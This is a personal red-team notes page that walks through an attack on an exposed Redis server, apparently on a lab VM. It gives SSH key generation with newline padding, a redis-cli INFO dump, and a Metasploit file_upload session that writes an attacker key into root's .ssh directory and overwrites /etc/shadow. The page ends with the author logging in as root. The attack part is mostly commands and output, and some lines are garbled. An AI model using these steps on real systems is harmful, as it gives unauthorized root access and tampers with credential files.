> For the complete documentation index, see [llms.txt](https://0xdecaf2bad.gitbook.io/red-team-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xdecaf2bad.gitbook.io/red-team-notes/08-commands/redis.md). # redis REDIS redis command list <-- detailed Commands I used, and work from \~ directory ssh-keygen -t rsa * You will be asked Enter file in which to save the key (/root/.ssh/id\_rsa): /root/.ssh/id\_rsa already exists. Overwrite (y/n)? y Enter passphrase (empty for no passphrase): Enter same passphrase again: Your identification has been saved in /root/.ssh/id\_rsa. Your public key has been saved in /root/.ssh/id\_rsa.pub. ***\****When you are asked the above I just hit enter to get all defaults -- then I get the following output Your public key has been saved in /root/.ssh/id\_rsa.pub. The key fingerprint is: SHA256:j2G4Ol5LoJR9bgy808TvXz8W56KVp/o/leF9uWcKl3c root\@kali *\**Now I enter (echo -e "\n\n"; cat id\_rsa.pub; echo -e "\n\n") > /root/Desktop/foo.txt <--this will output the keygen to the desktop to be continued 4\) redis hacking root\@kali:\~# redis-cli -h 10.0.1.3 10.0.1.3:6379> INFO ## Server redis\_version:3.0.7 redis\_git\_sha1:00000000 redis\_git\_dirty:0 redis\_build\_id:aa70bcb321ba8313 redis\_mode:standalone os:Linux 3.19.0-25-generic i686 arch\_bits:32 multiplexing\_api:epoll gcc\_version:4.8.4 process\_id:1215 run\_id:f77a1654a20f1a67cadbe83761f0bd907ce01e0e tcp\_port:6379 uptime\_in\_seconds:4070 uptime\_in\_days:0 hz:10 lru\_clock:15370196 config\_file:/etc/redis/6379.conf ## Clients connected\_clients:2 client\_longest\_output\_list:0 client\_biggest\_input\_buf:0 blocked\_clients:0 ## Memory used\_memory:659136 used\_memory\_human:643.69K used\_memory\_rss:9306112 used\_memory\_peak:687064 used\_memory\_peak\_human:670.96K used\_memory\_lua:24576 mem\_fragmentation\_ratio:14.12 mem\_allocator:jemalloc-3.6.0 ## Persistence loading:0 rdb\_changes\_since\_last\_save:1 rdb\_bgsave\_in\_progress:0 rdb\_last\_save\_time:1458210485 rdb\_last\_bgsave\_status:ok rdb\_last\_bgsave\_time\_sec:0 rdb\_current\_bgsave\_time\_sec:-1 aof\_enabled:0 aof\_rewrite\_in\_progress:0 aof\_rewrite\_scheduled:0 aof\_last\_rewrite\_time\_sec:-1 aof\_current\_rewrite\_time\_sec:-1 aof\_last\_bgrewrite\_status:ok aof\_last\_write\_status:ok ## Stats total\_connections\_received:21 total\_commands\_processed:74 instantaneous\_ops\_per\_sec:0 total\_net\_input\_bytes:6574 total\_net\_output\_bytes:22122 instantaneous\_input\_kbps:0.00 instantaneous\_output\_kbps:0.00 rejected\_connections:0 sync\_full:0 sync\_partial\_ok:0 sync\_partial\_err:0 expired\_keys:0 evicted\_keys:0 keyspace\_hits:0 keyspace\_misses:0 pubsub\_channels:0 pubsub\_patterns:0 latest\_fork\_usec:14331 migrate\_cached\_sockets:0 ## Replication role:master connected\_slaves:0 master\_repl\_offset:0 repl\_backlog\_active:0 repl\_backlog\_size:1048576 repl\_backlog\_first\_byte\_offset:0 repl\_backlog\_histlen:0 ## CPU used\_cpu\_sys:34.07 used\_cpu\_user:0.28 used\_cpu\_sys\_children:0.02 used\_cpu\_user\_children:0.00 ## Cluster cluster\_enabled:0 ## Keyspace db0:keys=2,expires=0,avg\_ttl=0 10.0.1.3:6379> (echo -e "\n\n"; cat id\_rsa.pub; echo -e "\n\n") > foo.txt/.ssh" Module options (auxiliary/scanner/redis/file\_upload): Name Current Setting Required Description DISABLE\_RDBCOMPRESSION true yes Disable compression when saving if found to be enabled LocalFile no Local file to be uploaded Password foobared no Redis password for authentication test RHOSTS yes The target address range or CIDR identifier RPORT 6379 yes The target port RemoteFile no Remote file path THREADS 1 yes The number of concurrent threads msf auxiliary(file\_upload) > set RHOSTS 10.0.1.3 RHOSTS => 10.0.1.3 msf auxiliary(file\_upload) > exploit \[-] Auxiliary failed: RuntimeError bad-config: LocalFile must be set \[-] Call stack: \[-] /usr/share/metasploit-framework/lib/msf/core/module.rb:291:in `fail_with' [-] /usr/share/metasploit-framework/modules/auxiliary/scanner/redis/file_upload.rb:150:in`run\_host' \[-] /usr/share/metasploit-framework/lib/msf/core/auxiliary/scanner.rb:121:in `block (2 levels) in run' [-] /usr/share/metasploit-framework/lib/msf/core/thread_manager.rb:100:in`block in spawn' \[\*] Auxiliary module execution completed msf auxiliary(file\_upload) > set LocalFile /root/.ssh/foo.txt LocalFile => /root/.ssh/foo.txt msf auxiliary(file\_upload) > set RemoteFile /root/.ssh/authorized\_keys RemoteFile => /root/.ssh/authorized\_keys msf auxiliary(file\_upload) > exploit \[-] 10.0.1.3:6379 - 10.0.1.3:6379 -- failed to save 392 bytes to /root/.ssh/authorized\_keys (permissions?) \[*] Scanned 1 of 1 hosts (100% complete) \[*] Auxiliary module execution completed msf auxiliary(file\_upload) > set RemoteFile /root/.ssh/id\_rsa RemoteFile => /root/.ssh/id\_rsa msf auxiliary(file\_upload) > exploit \[+] 10.0.1.3:6379 - 10.0.1.3:6379 -- saved 392 bytes inside of redis DB at /root/.ssh/id\_rsa \[*] Scanned 1 of 1 hosts (100% complete) \[*] Auxiliary module execution completed msf auxiliary(file\_upload) > set RemoteFile /etc/shadow RemoteFile => /etc/shadow msf auxiliary(file\_upload) > exploit \[+] 10.0.1.3:6379 - 10.0.1.3:6379 -- saved 392 bytes inside of redis DB at /etc/shadow \[*] Scanned 1 of 1 hosts (100% complete) \[*] Auxiliary module execution completed msf auxiliary(file\_upload) > set LocalFile /etc/shadow LocalFile => /etc/shadow msf auxiliary(file\_upload) > set RemoteFile /etc/shadow RemoteFile => /etc/shadow msf auxiliary(file\_upload) > exploit \[+] 10.0.1.3:6379 - 10.0.1.3:6379 -- saved 1664 bytes inside of redis DB at /etc/shadow \[*] Scanned 1 of 1 hosts (100% complete) \[*] Auxiliary module execution completed msf auxiliary(file\_upload) > DONE i logged in to VM on root.